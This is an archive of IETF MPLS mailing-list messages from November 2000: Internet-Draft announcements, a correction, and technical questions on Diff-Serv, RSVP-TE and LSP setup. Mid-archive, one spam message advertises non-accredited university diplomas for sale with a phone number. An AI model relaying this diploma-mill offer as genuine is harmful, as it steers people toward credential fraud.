cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqtg20608 for ; Fri, 24 Nov 2000 23:13:09 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjqtg08963 for ; Fri, 24 Nov 2000 23:13:08 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id SAA10275 for mpls@uu.net; Fri, 24 Nov 2000 18:13:07 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqtg16489 for ; Fri, 24 Nov 2000 23:12:26 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqtg18198 for ; Fri, 24 Nov 2000 23:12:05 GMT Received: from ietf.org by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: odin.ietf.org [132.151.1.176]) id QQjqtg07557 for ; Fri, 24 Nov 2000 23:12:05 GMT Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA21789; Fri, 24 Nov 2000 18:12:02 -0500 (EST) Message-Id: <200011242312.SAA21789@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce:; Cc: mpls@UU.NET From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-mpls-generalized-signaling-00.txt Date: Fri, 24 Nov 2000 18:12:02 -0500 Sender: owner-mpls@UU.NET Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Multiprotocol Label Switching Working Group of the IETF. Title : Generalized MPLS - Signaling Functional Description Author(s) : P. Ashwood-Smith et al. Filename : draft-ietf-mpls-generalized-signaling-00.txt Pages : 30 Date : 22-Nov-00 This document describes extensions to MPLS signaling required to support Generalized MPLS. Generalized MPLS extends MPLS to encompass time-division (e.g. SONET ADMs), wavelength (optical lambdas) and spatial switching (e.g. incoming port or fiber to outgoing port or fiber). This document presents a functional description of the extensions. Protocol specific formats and mechanisms are currently included in this draft but are expected to be split out into separate, per protocol documents. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-mpls-generalized-signaling-00.txt Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-mpls-generalized-signaling-00.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-mpls-generalized-signaling-00.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20001122150037.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-mpls-generalized-signaling-00.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-mpls-generalized-signaling-00.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20001122150037.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-mpls@UU.NET Fri Nov 24 18:41:35 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA23235 for ; Fri, 24 Nov 2000 18:16:55 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqtg00817; Fri, 24 Nov 2000 23:14:33 GMT Received: by mail-control.mail.uu.net id QQjqtg16578 for mpls-outgoing; Fri, 24 Nov 2000 23:13:39 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqtg16568 for ; Fri, 24 Nov 2000 23:13:36 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjqtg20610 for ; Fri, 24 Nov 2000 23:13:09 GMT Received: from pilgrim.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjqtg28861 for ; Fri, 24 Nov 2000 23:13:08 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id SAA10274 for mpls@uu.net; Fri, 24 Nov 2000 18:13:07 -0500 (EST) Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjqtg16496 for ; Fri, 24 Nov 2000 23:12:39 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqtg25415 for ; Fri, 24 Nov 2000 23:11:54 GMT Received: from ietf.org by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: odin.ietf.org [132.151.1.176]) id QQjqtg07293 for ; Fri, 24 Nov 2000 23:11:54 GMT Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA21741; Fri, 24 Nov 2000 18:11:51 -0500 (EST) Message-Id: <200011242311.SAA21741@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce:; Cc: mpls@UU.NET From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-mpls-diff-te-ext-00.txt Date: Fri, 24 Nov 2000 18:11:50 -0500 Sender: owner-mpls@UU.NET Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Multiprotocol Label Switching Working Group of the IETF. Title : Extensions to RSVP-TE and CR-LDP for support of Diff-Serv-aware MPLS Traffic Engineering Author(s) : F. Le Faucheur et al. Filename : draft-ietf-mpls-diff-te-ext-00.txt Pages : 12 Date : 22-Nov-00 A companion document [DIFF-TE-REQTS] defines the requirements for support of Diff-Serv-aware MPLS Traffic Engineering on a per-Class- Type basis, as discussed in the Traffic Engineering Working Group Framework document [TEWG-FW]. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-mpls-diff-te-ext-00.txt Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-mpls-diff-te-ext-00.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-mpls-diff-te-ext-00.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20001122150027.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-mpls-diff-te-ext-00.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-mpls-diff-te-ext-00.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20001122150027.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-mpls@UU.NET Sat Nov 25 04:36:56 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA09203 for ; Sat, 25 Nov 2000 04:36:55 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjquw00339; Sat, 25 Nov 2000 09:35:06 GMT Received: by mail-control.mail.uu.net id QQjquw20862 for mpls-outgoing; Sat, 25 Nov 2000 09:34:43 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjquw20857 for ; Sat, 25 Nov 2000 09:34:37 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjquw09115 for ; Sat, 25 Nov 2000 09:34:36 GMT Received: from relay2.alcatel.be by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: alc239.alcatel.be [195.207.101.239]) id QQjquw16483 for ; Sat, 25 Nov 2000 09:34:35 GMT Received: from bemail04.net.alcatel.be (localhost [127.0.0.1]) by relay2.alcatel.be (8.10.1/8.10.1) with SMTP id eAP9Vr625461; Sat, 25 Nov 2000 10:31:53 +0100 (MET) Received: from alcatel.be ([138.203.253.203]) by bemail04.net.alcatel.be (Lotus SMTP MTA v4.6.7 (934.1 12-30-1999)) with SMTP id C12569A2.003493D9; Sat, 25 Nov 2000 10:34:18 +0100 Message-ID: <3A1F86A8.A0D76BCF@alcatel.be> Date: Sat, 25 Nov 2000 10:30:16 +0100 From: Francis Arts Organization: Alcatel X-Mailer: Mozilla 4.7 [nl] (Win98; U) X-Accept-Language: nl MIME-Version: 1.0 To: mpls@UU.NET Subject: draft-ietf-mpls-diff-ext-07.txt Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Hello, I have a question concerning the draft-ietf-mpls-diff-ext-07.txt draft. Section 2.6.2, p.13 of this draft states the following: "The Pipe Model is particularly appropriate to environments in which the incoming interface of the LSP Ingress and the outgoing interface of the LSP Egress are in Diff-Serv domains which use a common set of Diff-Serv service provisioning policies and PHB definitions, while the LSP spans one (or more) Diff-Serv domain(s) which use(s) a different set of Diff-Serv service provisioning policies and PHB definitions." This statement could be interpreted in 2 ways. Which one is correct: 1) The 2 diff serv domains connected by the LSP use the same PHBs but may use a different DSCP encoding of the PHB. If a different DSCP encoding is used, a translation needs to be done at either end. 2) The 2 diff serv domains connected by the LSP use the same PHBs and the same DSCP encoding of the PHB. Thanks for your answer. Kind regards, Francis. From owner-mpls@UU.NET Sat Nov 25 09:21:36 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA24048 for ; Sat, 25 Nov 2000 09:21:35 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqvp02618; Sat, 25 Nov 2000 14:19:54 GMT Received: by mail-control.mail.uu.net id QQjqvp06503 for mpls-outgoing; Sat, 25 Nov 2000 14:19:23 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjqvp06489 for ; Sat, 25 Nov 2000 14:19:16 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqvp29404 for ; Sat, 25 Nov 2000 14:18:47 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjqvp20709 for ; Sat, 25 Nov 2000 14:18:46 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id JAA08165 for mpls@uu.net; Sat, 25 Nov 2000 09:18:46 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjqvp06436 for ; Sat, 25 Nov 2000 14:18:08 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqvp03273 for ; Sat, 25 Nov 2000 14:16:56 GMT Received: from ims002.dcat.ops.broadbandoffice.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [64.47.146.7]) id QQjqvp17925 for ; Sat, 25 Nov 2000 14:16:55 GMT Received: from nfloat.movaz.com (griffin.host4u.net [209.150.128.163]) by ims002.dcat.ops.broadbandoffice.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id XN8KJH37; Sat, 25 Nov 2000 09:16:50 -0500 Message-Id: <4.3.2.7.2.20001125091528.02dc6ed0@mail.labn.net> X-Sender: lou@mo-ex X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Sat, 25 Nov 2000 09:17:07 -0500 To: Internet-Drafts@ietf.org X-Sybari-Space: 00000000 00000000 00000000 From: Lou Berger Subject: Re: I-D ACTION:draft-ietf-mpls-generalized-signaling-00.txt Cc: mpls@UU.NET In-Reply-To: <200011242312.SAA21789@ietf.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-mpls@UU.NET Precedence: bulk Don't know what happened here but the draft that should have been announce is: ftp://ftp.ietf.org/internet-drafts/draft-ietf-mpls-generalized-signaling-01.txt Lou At 06:12 PM 11/24/00, Internet-Drafts@ietf.org wrote: >A New Internet-Draft is available from the on-line Internet-Drafts directories. >This draft is a work item of the Multiprotocol Label Switching Working Group of the IETF. > > Title : Generalized MPLS - Signaling Functional Description > Author(s) : P. Ashwood-Smith et al. > Filename : draft-ietf-mpls-generalized-signaling-00.txt > Pages : 30 > Date : 22-Nov-00 > >This document describes extensions to MPLS signaling required to >support Generalized MPLS. Generalized MPLS extends MPLS to encompass >time-division (e.g. SONET ADMs), wavelength (optical lambdas) and >spatial switching (e.g. incoming port or fiber to outgoing port or >fiber). This document presents a functional description of the >extensions. Protocol specific formats and mechanisms are currently >included in this draft but are expected to be split out into >separate, per protocol documents. > >A URL for this Internet-Draft is: >http://www.ietf.org/internet-drafts/draft-ietf-mpls-generalized-signaling-00.txt > >Internet-Drafts are also available by anonymous FTP. Login with the username >"anonymous" and a password of your e-mail address. After logging in, >type "cd internet-drafts" and then > "get draft-ietf-mpls-generalized-signaling-00.txt". > >A list of Internet-Drafts directories can be found in >http://www.ietf.org/shadow.html >or ftp://ftp.ietf.org/ietf/1shadow-sites.txt > > >Internet-Drafts can also be obtained by e-mail. > >Send a message to: > mailserv@ietf.org. >In the body type: > "FILE /internet-drafts/draft-ietf-mpls-generalized-signaling-00.txt". > >NOTE: The mail server at ietf.org can return the document in > MIME-encoded form by using the "mpack" utility. To use this > feature, insert the command "ENCODING mime" before the "FILE" > command. To decode the response(s), you will need "munpack" or > a MIME-compliant mail reader. Different MIME-compliant mail readers > exhibit different behavior, especially when dealing with > "multipart" MIME messages (i.e. documents which have been split > up into multiple messages), so check your local documentation on > how to manipulate these messages. > > >Below is the data which will enable a MIME compliant mail reader >implementation to automatically retrieve the ASCII version of the >Internet-Draft. >Content-Type: text/plain >Content-ID: <20001122150037.I-D@ietf.org> > >ENCODING mime >FILE /internet-drafts/draft-ietf-mpls-generalized-signaling-00.txt > > From owner-mpls@UU.NET Sat Nov 25 20:54:04 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA22066 for ; Sat, 25 Nov 2000 20:54:04 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqxj04027; Sun, 26 Nov 2000 01:52:23 GMT Received: by mail-control.mail.uu.net id QQjqxj26323 for mpls-outgoing; Sun, 26 Nov 2000 01:52:04 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqxj26298 for ; Sun, 26 Nov 2000 01:51:52 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqxj29523 for ; Sun, 26 Nov 2000 01:49:49 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjqxj29652 for ; Sun, 26 Nov 2000 01:49:49 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id UAA26932 for mpls@uu.net; Sat, 25 Nov 2000 20:49:48 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjqxj26128 for ; Sun, 26 Nov 2000 01:49:23 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqxj18567; Sun, 26 Nov 2000 01:49:15 GMT Received: from mail.saltoooperrdrzavns.com by cmr0.ash.ops.us.uu.net with SMTP (peer crosschecked as: ip87.kitchener2.dialup.canada.psi.net [154.5.109.87]) id QQjqxj28614; Sun, 26 Nov 2000 01:49:13 GMT Message-ID: <3276yAe0koQTeehPW@LDcz-R.lvi> From: U_of_S Subject: Get a University Diploma of your Choice! Date: Sat, 25 Nov 2000 20:18:34 -0400 (EDT) MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit To: undisclosed-recipients:; Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit A university diploma is waiting for you. Select your field of study from business, computers, engineering, education, the sciences, liberal arts, fine arts, social sciences, history, literature, anguages, or any other discipline. All levels of diplomas awarded - including bachelors, masters, PhD's, and MBA's. Full credit given for your present understanding, skills, and expertise. Open enrollment means that you are already accepted into this unique non-accredited program. Someone is always waiting to take your call - including weekends. All you have to do is call to insure your future! 1 - 3 0 5 - 4 6 8 - 6 3 8 8 All calls kept strictly confidential. From owner-mpls@UU.NET Sun Nov 26 03:56:41 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA22242 for ; Sun, 26 Nov 2000 03:56:40 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqyl02581; Sun, 26 Nov 2000 08:54:57 GMT Received: by mail-control.mail.uu.net id QQjqyl13411 for mpls-outgoing; Sun, 26 Nov 2000 08:54:41 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqyl13406 for ; Sun, 26 Nov 2000 08:54:38 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqyl19103 for ; Sun, 26 Nov 2000 08:53:44 GMT Received: from csa.iisc.ernet.in by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: csa.iisc.ernet.in [144.16.67.8]) id QQjqyl08487 for ; Sun, 26 Nov 2000 08:53:38 GMT Received: from ada.csa.iisc.ernet.in (IDENT:root@ada.csa.iisc.ernet.in [144.16.67.35]) by csa.iisc.ernet.in (8.9.3/8.9.3) with ESMTP id OAA22324 for ; Sun, 26 Nov 2000 14:20:11 +0530 Received: from localhost (prasanna@localhost) by ada.csa.iisc.ernet.in (8.9.3/8.9.3) with ESMTP id OAA28537 for ; Sun, 26 Nov 2000 14:22:45 +0530 X-Authentication-Warning: ada.csa.iisc.ernet.in: prasanna owned process doing -bs Date: Sun, 26 Nov 2000 14:22:45 +0530 (IST) From: Gaitonde Anandprasanna To: mpls@UU.NET Subject: Difficulty about IPv4 Prefix in Explicit route Object in RSVP-TE Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-mpls@UU.NET Precedence: bulk This qeustion was asked by some person earlier but somehow i did not see the answers in the mailing lists. If i have missed the answer then please provide pointers to mail archives. I wanted to know why the format of the IPv4 Prefix is that way: RSVP ERO subobject IPv4 address:- In RSVP-TE, the format of subobject 1: IPv4 address (4.4.1.1) is 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 Type | Length | IPv4 address ----------------------------------------------------------------- IPv4 address | Prefix Length | Flags ------------------------------------------------------------------ Can somebody explain to me: What is the advantage to split the IPv4 address in two words? From the implementation point of view, it should be much easy to put IPv4 address in a single word. Thanx in advance Pras From owner-mpls@UU.NET Sun Nov 26 13:20:25 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA25697 for ; Sun, 26 Nov 2000 13:20:25 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqzx02539; Sun, 26 Nov 2000 18:18:48 GMT Received: by mail-control.mail.uu.net id QQjqzx13887 for mpls-outgoing; Sun, 26 Nov 2000 18:18:18 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqzx13882 for ; Sun, 26 Nov 2000 18:18:10 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqzx21825 for ; Sun, 26 Nov 2000 18:18:05 GMT Received: from csa.iisc.ernet.in by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: csa.iisc.ernet.in [144.16.67.8]) id QQjqzx27760 for ; Sun, 26 Nov 2000 18:18:01 GMT Received: from kohinoor.csa.iisc.ernet.in (ytr@kohinoor.csa.iisc.ernet.in [144.16.67.10]) by csa.iisc.ernet.in (8.9.3/8.9.3) with ESMTP id XAA05465 for ; Sun, 26 Nov 2000 23:45:19 +0530 Received: from localhost by kohinoor.csa.iisc.ernet.in (8.9.3/8.9.3) with SMTP id XAA02459 for ; Sun, 26 Nov 2000 23:47:49 +0530 (IST) X-Authentication-Warning: kohinoor.csa.iisc.ernet.in: ytr owned process doing -bs Date: Sun, 26 Nov 2000 23:47:49 +0530 (IST) From: Ramanjaneyulu Y T To: mpls@UU.NET Subject: hierarchical LSP set up Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-mpls@UU.NET Precedence: bulk Hi, If you have already discussed this please provide pointers to mail archives. We are suing RSVP-TE as signaling protocol. How to achieve hierarchical LSPs?. For that we need label stack support in RSVP-TE. Is RSVP-TE supports label stack?.If yes how does it provides this support ?. How labels are distinguished in this scenario at each LSR i.e. label for immediate upstream LSR or remote LSR ?. Thanks in advance, Regards Ramanjaneyulu Y.T. " A real friend is one who walks in when the rest of the world walks out." ------------------------------------------------------------------------------ Y.T.RAMANJANEYULU | My other mail Ids: E-70,INDIAN INSTITUTE OF SCIENCE | ytr@123india.com BANGALORE - 560012 | kingytr@excite.com PH: 91 - 80 - 3092622 ( HOSTEL ) | 91 - 80 - 3092658 ( HFCL LAB ) | visit my home page:www2.csa.iisc.ernet.in/~ytr -------------------------------------------------------------------------------- From owner-mpls@UU.NET Sun Nov 26 22:29:15 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA22229 for ; Sun, 26 Nov 2000 22:29:15 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrbh17591; Mon, 27 Nov 2000 03:27:34 GMT Received: by mail-control.mail.uu.net id QQjrbh00301 for mpls-outgoing; Mon, 27 Nov 2000 03:27:02 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjrbh00296 for ; Mon, 27 Nov 2000 03:27:00 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrbh24255 for ; Mon, 27 Nov 2000 03:26:53 GMT Received: from mailout4-0.nyroc.rr.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mailout4-1.nyroc.rr.com [24.92.226.166]) id QQjrbh23846 for ; Mon, 27 Nov 2000 03:26:53 GMT Received: from city (syr3-33d.twcny.rr.com [24.95.162.61]) by mailout4-0.nyroc.rr.com (8.9.3/8.9.3) with SMTP id WAA14096 for ; Sun, 26 Nov 2000 22:22:04 -0500 (EST) Message-ID: <002301c05822$b66b6dc0$3da25f18@twcny.rr.com> From: "Taner OKUMUS" To: Subject: interdomain LSP setup Date: Sun, 26 Nov 2000 22:32:41 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit I have a general question. I understand that LSP setup in an autonomous domain is well-defined. Owner of the domain can setup end-to-end ( ingress to egress) LSPs inside the domain. How does interdomain transfers handled? Suppose I want to setup an LSP passing through 2 different ASs and ends up in some subnets in the second domain. Each domain uses LDP or RSVP to distribute the label between ingress and egress of that domain. Then each domain can setup LSPs in their domain. What happens between the egress of the first domain and the ingress of the second domain? To put inanother way, does LSPs end-to-end in an AS or are they end-to-end in the system ( meaning from one ingress of a domain to egress of another domain) ? Taner From owner-mpls@UU.NET Mon Nov 27 00:41:13 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA21275 for ; Mon, 27 Nov 2000 00:41:13 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrbq17255; Mon, 27 Nov 2000 05:39:17 GMT Received: by mail-control.mail.uu.net id QQjrbq01033 for mpls-outgoing; Mon, 27 Nov 2000 05:39:00 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjrbq01028 for ; Mon, 27 Nov 2000 05:38:59 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjrbq11110 for ; Mon, 27 Nov 2000 05:38:49 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjrbq16527 for ; Mon, 27 Nov 2000 05:38:49 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id AAA17209 for mpls@uu.net; Mon, 27 Nov 2000 00:38:48 -0500 (EST) Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjrbq01019 for ; Mon, 27 Nov 2000 05:38:39 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrbq25315 for ; Mon, 27 Nov 2000 05:38:24 GMT From: Internet-Drafts@ietf.org Received: from public.szptt.net.cn by cmr2.ash.ops.us.uu.net with SMTP (peer crosschecked as: mail1-smtp.szptt.net.cn [202.96.136.221] (may be forged)) id QQjrbq18638 for ; Mon, 27 Nov 2000 05:38:23 